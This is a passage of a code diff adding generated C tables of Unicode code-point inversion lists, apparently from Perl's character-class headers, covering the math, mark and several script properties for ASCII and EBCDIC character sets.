+	0x2B47,
+	0x2B4D,
+	0xFB29,
+	0xFB2A,
+	0xFE61,
+	0xFE67,
+	0xFE68,
+	0xFE69,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF3F,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE2,
+	0xFFE3,
+	0xFFE9,
+	0xFFED,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_MATH_invlist[] = { /* for EBCDIC 1047 */
+	279,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x50,
+	0x5F,
+	0x60,
+	0x6E,
+	0x6F,
+	0x7E,
+	0x7F,
+	0x8F,
+	0x90,
+	0xA1,
+	0xA2,
+	0xB0,
+	0xB1,
+	0xBF,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D6,
+	0x3F0,
+	0x3F2,
+	0x3F4,
+	0x3F7,
+	0x606,
+	0x609,
+	0x2016,
+	0x2017,
+	0x2032,
+	0x2035,
+	0x2040,
+	0x2041,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x2061,
+	0x2065,
+	0x207A,
+	0x207F,
+	0x208A,
+	0x208F,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20E7,
+	0x20EB,
+	0x20F0,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2128,
+	0x212A,
+	0x212C,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x2139,
+	0x213C,
+	0x214A,
+	0x214B,
+	0x214C,
+	0x2190,
+	0x21A8,
+	0x21A9,
+	0x21AF,
+	0x21B0,
+	0x21B2,
+	0x21B6,
+	0x21B8,
+	0x21BC,
+	0x21DC,
+	0x21DD,
+	0x21DE,
+	0x21E4,
+	0x21E6,
+	0x21F4,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B6,
+	0x23B7,
+	0x23B8,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E3,
+	0x25A0,
+	0x25A2,
+	0x25AE,
+	0x25B8,
+	0x25BC,
+	0x25C2,
+	0x25C6,
+	0x25C8,
+	0x25CA,
+	0x25CC,
+	0x25CF,
+	0x25D4,
+	0x25E2,
+	0x25E3,
+	0x25E4,
+	0x25E5,
+	0x25E7,
+	0x25ED,
+	0x25F8,
+	0x2600,
+	0x2605,
+	0x2607,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2664,
+	0x266D,
+	0x2670,
+	0x27C0,
+	0x2800,
+	0x2900,
+	0x2B00,
+	0x2B30,
+	0x2B45,
+	0x2B47,
+	0x2B4D,
+	0xFB29,
+	0xFB2A,
+	0xFE61,
+	0xFE67,
+	0xFE68,
+	0xFE69,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF3F,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE2,
+	0xFFE3,
+	0xFFE9,
+	0xFFED,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_MATH_invlist[] = { /* for EBCDIC 037 */
+	279,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x50,
+	0x5F,
+	0x60,
+	0x6E,
+	0x6F,
+	0x7E,
+	0x7F,
+	0x8F,
+	0x90,
+	0xA1,
+	0xA2,
+	0xB0,
+	0xB1,
+	0xBF,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D6,
+	0x3F0,
+	0x3F2,
+	0x3F4,
+	0x3F7,
+	0x606,
+	0x609,
+	0x2016,
+	0x2017,
+	0x2032,
+	0x2035,
+	0x2040,
+	0x2041,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x2061,
+	0x2065,
+	0x207A,
+	0x207F,
+	0x208A,
+	0x208F,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20E7,
+	0x20EB,
+	0x20F0,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2128,
+	0x212A,
+	0x212C,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x2139,
+	0x213C,
+	0x214A,
+	0x214B,
+	0x214C,
+	0x2190,
+	0x21A8,
+	0x21A9,
+	0x21AF,
+	0x21B0,
+	0x21B2,
+	0x21B6,
+	0x21B8,
+	0x21BC,
+	0x21DC,
+	0x21DD,
+	0x21DE,
+	0x21E4,
+	0x21E6,
+	0x21F4,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B6,
+	0x23B7,
+	0x23B8,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E3,
+	0x25A0,
+	0x25A2,
+	0x25AE,
+	0x25B8,
+	0x25BC,
+	0x25C2,
+	0x25C6,
+	0x25C8,
+	0x25CA,
+	0x25CC,
+	0x25CF,
+	0x25D4,
+	0x25E2,
+	0x25E3,
+	0x25E4,
+	0x25E5,
+	0x25E7,
+	0x25ED,
+	0x25F8,
+	0x2600,
+	0x2605,
+	0x2607,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2664,
+	0x266D,
+	0x2670,
+	0x27C0,
+	0x2800,
+	0x2900,
+	0x2B00,
+	0x2B30,
+	0x2B45,
+	0x2B47,
+	0x2B4D,
+	0xFB29,
+	0xFB2A,
+	0xFE61,
+	0xFE67,
+	0xFE68,
+	0xFE69,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF3F,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE2,
+	0xFFE3,
+	0xFFE9,
+	0xFFED,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_MATHALPHANUM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D400,
+	0x1D800
+};
+
+static const UV PL_MATHOPERATORS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2200,
+	0x2300
+};
+
+static const UV PL_MC_invlist[] = { /* for all charsets */
+	321,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x903,
+	0x904,
+	0x93B,
+	0x93C,
+	0x93E,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x950,
+	0x982,
+	0x984,
+	0x9BE,
+	0x9C1,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9D7,
+	0x9D8,
+	0xA03,
+	0xA04,
+	0xA3E,
+	0xA41,
+	0xA83,
+	0xA84,
+	0xABE,
+	0xAC1,
+	0xAC9,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xB02,
+	0xB04,
+	0xB3E,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB57,
+	0xB58,
+	0xBBE,
+	0xBC0,
+	0xBC1,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD7,
+	0xBD8,
+	0xC01,
+	0xC04,
+	0xC41,
+	0xC45,
+	0xC82,
+	0xC84,
+	0xCBE,
+	0xCBF,
+	0xCC0,
+	0xCC5,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xCD5,
+	0xCD7,
+	0xD02,
+	0xD04,
+	0xD3E,
+	0xD41,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD57,
+	0xD58,
+	0xD82,
+	0xD84,
+	0xDCF,
+	0xDD2,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xF3E,
+	0xF40,
+	0xF7F,
+	0xF80,
+	0x102B,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x1056,
+	0x1058,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109D,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x192C,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x1A19,
+	0x1A1B,
+	0x1A55,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1B04,
+	0x1B05,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B45,
+	0x1B82,
+	0x1B83,
+	0x1BA1,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1BF4,
+	0x1C24,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1CE1,
+	0x1CE2,
+	0x1CF2,
+	0x1CF4,
+	0x1CF7,
+	0x1CF8,
+	0x302E,
+	0x3030,
+	0xA823,
+	0xA825,
+	0xA827,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C4,
+	0xA952,
+	0xA954,
+	0xA983,
+	0xA984,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9C1,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA4D,
+	0xAA4E,
+	0xAA7B,
+	0xAA7C,
+	0xAA7D,
+	0xAA7E,
+	0xAAEB,
+	0xAAEC,
+	0xAAEE,
+	0xAAF0,
+	0xAAF5,
+	0xAAF6,
+	0xABE3,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABEB,
+	0xABEC,
+	0xABED,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11003,
+	0x11082,
+	0x11083,
+	0x110B0,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x1112C,
+	0x1112D,
+	0x11182,
+	0x11183,
+	0x111B3,
+	0x111B6,
+	0x111BF,
+	0x111C1,
+	0x1122C,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x112E0,
+	0x112E3,
+	0x11302,
+	0x11304,
+	0x1133E,
+	0x11340,
+	0x11341,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11435,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x114B0,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x115AF,
+	0x115B2,
+	0x115B8,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x11630,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x11A07,
+	0x11A09,
+	0x11A39,
+	0x11A3A,
+	0x11A57,
+	0x11A59,
+	0x11A97,
+	0x11A98,
+	0x11C2F,
+	0x11C30,
+	0x11C3E,
+	0x11C3F,
+	0x11CA9,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x16F51,
+	0x16F7F,
+	0x1D165,
+	0x1D167,
+	0x1D16D,
+	0x1D173
+};
+
+static const UV PL_ME_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x488,
+	0x48A,
+	0x1ABE,
+	0x1ABF,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0xA670,
+	0xA673
+};
+
+static const UV PL_MEETEIMAYEKEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAAE0,
+	0xAB00
+};
+
+static const UV PL_MEND_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7
+};
+
+static const UV PL_MERC_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109A0,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A00
+};
+
+static const UV PL_MERO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10980,
+	0x109A0
+};
+
+static const UV PL_MIAO_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0
+};
+
+static const UV PL_MISCARROWS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2B00,
+	0x2C00
+};
+
+static const UV PL_MISCMATHSYMBOLSA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x27C0,
+	0x27F0
+};
+
+static const UV PL_MISCMATHSYMBOLSB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2980,
+	0x2A00
+};
+
+static const UV PL_MISCPICTOGRAPHS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F300,
+	0x1F600
+};
+
+static const UV PL_MISCSYMBOLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2600,
+	0x2700
+};
+
+static const UV PL_MISCTECHNICAL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2300,
+	0x2400
+};
+
+static const UV PL_MLYM_invlist[] = { /* for all charsets */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0x1CDA,
+	0x1CDB
+};
+
+static const UV PL_MN_invlist[] = { /* for all charsets */
+	603,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x370,
+	0x483,
+	0x488,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABE,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
